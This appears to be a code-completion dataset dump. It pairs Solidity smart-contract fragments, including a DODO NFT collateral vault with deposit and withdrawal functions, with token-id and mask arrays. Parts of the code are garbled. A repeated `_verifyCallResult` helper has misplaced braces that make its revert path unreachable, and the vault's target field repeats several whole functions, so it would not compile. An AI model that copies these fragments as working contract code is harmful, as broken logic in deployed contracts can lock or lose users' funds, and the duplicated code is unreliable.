bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
} else {
}
| 54,421 | [
1,
2532,
434,
4186,
3746,
358,
326,
1758,
618,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
5267,
288,
203,
203,
565,
445,
353,
8924,
12,
2867,
2236,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
203,
3639,
2254,
963,
31,
203,
3639,
19931,
288,
203,
5411,
963,
519,
1110,
7000,
554,
12,
4631,
13,
203,
3639,
289,
203,
3639,
327,
963,
405,
374,
31,
203,
565,
289,
203,
203,
565,
445,
353,
8924,
12,
2867,
2236,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
203,
3639,
2254,
963,
31,
203,
3639,
19931,
288,
203,
5411,
963,
519,
1110,
7000,
554,
12,
4631,
13,
203,
3639,
289,
203,
3639,
327,
963,
405,
374,
31,
203,
565,
289,
203,
203,
565,
445,
1366,
620,
12,
2867,
8843,
429,
8027,
16,
2254,
3844,
13,
2713,
288,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
3844,
16,
315,
1887,
30,
2763,
11339,
11013,
8863,
203,
203,
3639,
2583,
12,
4768,
16,
315,
1887,
30,
13496,
358,
1366,
460,
16,
8027,
2026,
1240,
15226,
329,
8863,
203,
565,
289,
203,
203,
3639,
261,
6430,
2216,
16,
262,
273,
8027,
18,
1991,
95,
1132,
30,
3844,
97,
2932,
8863,
203,
565,
445,
445,
1477,
12,
2867,
1018,
16,
1731,
3778,
501,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
3890,
3778,
13,
203,
565,
288,
203,
3639,
327,
445,
1477,
12,
3299,
16,
501,
16,
315,
1887,
30,
4587,
17,
2815,
745,
2535,
8863,
203,
565,
289,
203,
203,
565,
445,
445,
1477,
12,
203,
3639,
1758,
1018,
16,
203,
3639,
1731,
3778,
501,
16,
203,
3639,
533,
3778,
9324,
203,
2
]
|
./partial_match/570/0x2b76AaE10952527b8b34Ead1C1703F53fCfC8B27/sources/contracts/L2/L2CrossDomainMessenger.sol | @notice Initializer. | function initialize() public initializer {
__CrossDomainMessenger_init();
}
| 3,504,329 | [
1,
14729,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4046,
1435,
1071,
12562,
288,
203,
3639,
1001,
13941,
3748,
29329,
67,
2738,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/intf/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/intf/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/intf/IERC1155.sol
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: contracts/intf/IERC1155Receiver.sol
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/CollateralVault/impl/NFTCollateralVault.sol
contract NFTCollateralVault is InitializableOwnable, IERC721Receiver, IERC1155Receiver, ReentrancyGuard {
using SafeMath for uint256;
// ============ Storage ============
string public name;
string public baseURI;
function init(
address owner,
string memory _name,
string memory _baseURI
) external {
initOwner(owner);
name = _name;
baseURI = _baseURI;
}
// ============ Event ============
event RemoveNftToken(address nftContract, uint256 tokenId, uint256 amount);
event AddNftToken(address nftContract, uint256 tokenId, uint256 amount);
// ============ TransferFrom NFT ============
function depositERC721(address nftContract, uint256[] memory tokenIds) public {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
// emit AddNftToken(nftContract, tokenIds[i], 1);
}
}
function depoistERC1155(address nftContract, uint256[] memory tokenIds, uint256[] memory amounts) public {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
require(tokenIds.length == amounts.length, "PARAMS_NOT_MATCH");
IERC1155(nftContract).safeBatchTransferFrom(msg.sender, address(this), tokenIds, amounts, "");
// for(uint256 i = 0; i < tokenIds.length; i++) {
// emit AddNftToken(nftContract, tokenIds[i], amounts[i]);
// }
}
// ============ Ownable ============
function directTransferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "DODONftVault: ZERO_ADDRESS");
emit OwnershipTransferred(_OWNER_, newOwner);
_OWNER_ = newOwner;
}
function createFragment(address nftProxy, bytes calldata data) external preventReentrant onlyOwner {
require(nftProxy != address(0), "DODONftVault: PROXY_INVALID");
_OWNER_ = nftProxy;
(bool success,) = nftProxy.call(data);
require(success, "DODONftVault: TRANSFER_OWNER_FAILED");
emit OwnershipTransferred(_OWNER_, nftProxy);
}
function withdrawERC721(address nftContract, uint256[] memory tokenIds) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(address(this), _OWNER_, tokenIds[i]);
emit RemoveNftToken(nftContract, tokenIds[i], 1);
}
}
function withdrawERC1155(address nftContract, uint256[] memory tokenIds, uint256[] memory amounts) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
require(tokenIds.length == amounts.length, "PARAMS_NOT_MATCH");
IERC1155(nftContract).safeBatchTransferFrom(address(this), _OWNER_, tokenIds, amounts, "");
for(uint256 i = 0; i < tokenIds.length; i++) {
emit RemoveNftToken(nftContract, tokenIds[i], amounts[i]);
}
}
function supportsInterface(bytes4 interfaceId) public override view returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId
|| interfaceId == type(IERC721Receiver).interfaceId;
}
// ============ Callback ============
function onERC721Received(
address,
address,
uint256 tokenId,
bytes calldata
) external override returns (bytes4) {
emit AddNftToken(msg.sender, tokenId, 1);
return IERC721Receiver.onERC721Received.selector;
}
function onERC1155Received(
address,
address,
uint256 id,
uint256 value,
bytes calldata
) external override returns (bytes4){
emit AddNftToken(msg.sender, id, value);
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata
) external override returns (bytes4){
require(ids.length == values.length, "PARAMS_NOT_MATCH");
for(uint256 i = 0; i < ids.length; i++) {
emit AddNftToken(msg.sender, ids[i], values[i]);
}
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
} | ============ Storage ============ | contract NFTCollateralVault is InitializableOwnable, IERC721Receiver, IERC1155Receiver, ReentrancyGuard {
using SafeMath for uint256;
string public name;
string public baseURI;
function init(
address owner,
string memory _name,
string memory _baseURI
) external {
initOwner(owner);
name = _name;
baseURI = _baseURI;
}
event AddNftToken(address nftContract, uint256 tokenId, uint256 amount);
event RemoveNftToken(address nftContract, uint256 tokenId, uint256 amount);
function depositERC721(address nftContract, uint256[] memory tokenIds) public {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
}
}
function depositERC721(address nftContract, uint256[] memory tokenIds) public {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
}
}
function depoistERC1155(address nftContract, uint256[] memory tokenIds, uint256[] memory amounts) public {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
require(tokenIds.length == amounts.length, "PARAMS_NOT_MATCH");
IERC1155(nftContract).safeBatchTransferFrom(msg.sender, address(this), tokenIds, amounts, "");
}
function directTransferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "DODONftVault: ZERO_ADDRESS");
emit OwnershipTransferred(_OWNER_, newOwner);
_OWNER_ = newOwner;
}
function createFragment(address nftProxy, bytes calldata data) external preventReentrant onlyOwner {
require(nftProxy != address(0), "DODONftVault: PROXY_INVALID");
_OWNER_ = nftProxy;
(bool success,) = nftProxy.call(data);
require(success, "DODONftVault: TRANSFER_OWNER_FAILED");
emit OwnershipTransferred(_OWNER_, nftProxy);
}
function withdrawERC721(address nftContract, uint256[] memory tokenIds) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(address(this), _OWNER_, tokenIds[i]);
emit RemoveNftToken(nftContract, tokenIds[i], 1);
}
}
function withdrawERC721(address nftContract, uint256[] memory tokenIds) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
for(uint256 i = 0; i < tokenIds.length; i++) {
IERC721(nftContract).safeTransferFrom(address(this), _OWNER_, tokenIds[i]);
emit RemoveNftToken(nftContract, tokenIds[i], 1);
}
}
function withdrawERC1155(address nftContract, uint256[] memory tokenIds, uint256[] memory amounts) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
require(tokenIds.length == amounts.length, "PARAMS_NOT_MATCH");
IERC1155(nftContract).safeBatchTransferFrom(address(this), _OWNER_, tokenIds, amounts, "");
for(uint256 i = 0; i < tokenIds.length; i++) {
emit RemoveNftToken(nftContract, tokenIds[i], amounts[i]);
}
}
function withdrawERC1155(address nftContract, uint256[] memory tokenIds, uint256[] memory amounts) external onlyOwner {
require(nftContract != address(0), "DODONftVault: ZERO_ADDRESS");
require(tokenIds.length == amounts.length, "PARAMS_NOT_MATCH");
IERC1155(nftContract).safeBatchTransferFrom(address(this), _OWNER_, tokenIds, amounts, "");
for(uint256 i = 0; i < tokenIds.length; i++) {
emit RemoveNftToken(nftContract, tokenIds[i], amounts[i]);
}
}
function supportsInterface(bytes4 interfaceId) public override view returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId
|| interfaceId == type(IERC721Receiver).interfaceId;
}
function onERC721Received(
address,
address,
uint256 tokenId,
bytes calldata
) external override returns (bytes4) {
emit AddNftToken(msg.sender, tokenId, 1);
return IERC721Receiver.onERC721Received.selector;
}
function onERC1155Received(
address,
address,
uint256 id,
uint256 value,
bytes calldata
) external override returns (bytes4){
emit AddNftToken(msg.sender, id, value);
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata
) external override returns (bytes4){
require(ids.length == values.length, "PARAMS_NOT_MATCH");
for(uint256 i = 0; i < ids.length; i++) {
emit AddNftToken(msg.sender, ids[i], values[i]);
}
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata
) external override returns (bytes4){
require(ids.length == values.length, "PARAMS_NOT_MATCH");
for(uint256 i = 0; i < ids.length; i++) {
emit AddNftToken(msg.sender, ids[i], values[i]);
}
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
} | 12,148,801 | [
1,
14468,
5235,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
423,
4464,
13535,
2045,
287,
12003,
353,
10188,
6934,
5460,
429,
16,
467,
654,
39,
27,
5340,
12952,
16,
467,
654,
39,
2499,
2539,
12952,
16,
868,
8230,
12514,
16709,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
533,
1071,
508,
31,
203,
565,
533,
1071,
1026,
3098,
31,
203,
203,
565,
445,
1208,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
1969,
3098,
203,
203,
565,
262,
3903,
288,
203,
3639,
1208,
5541,
12,
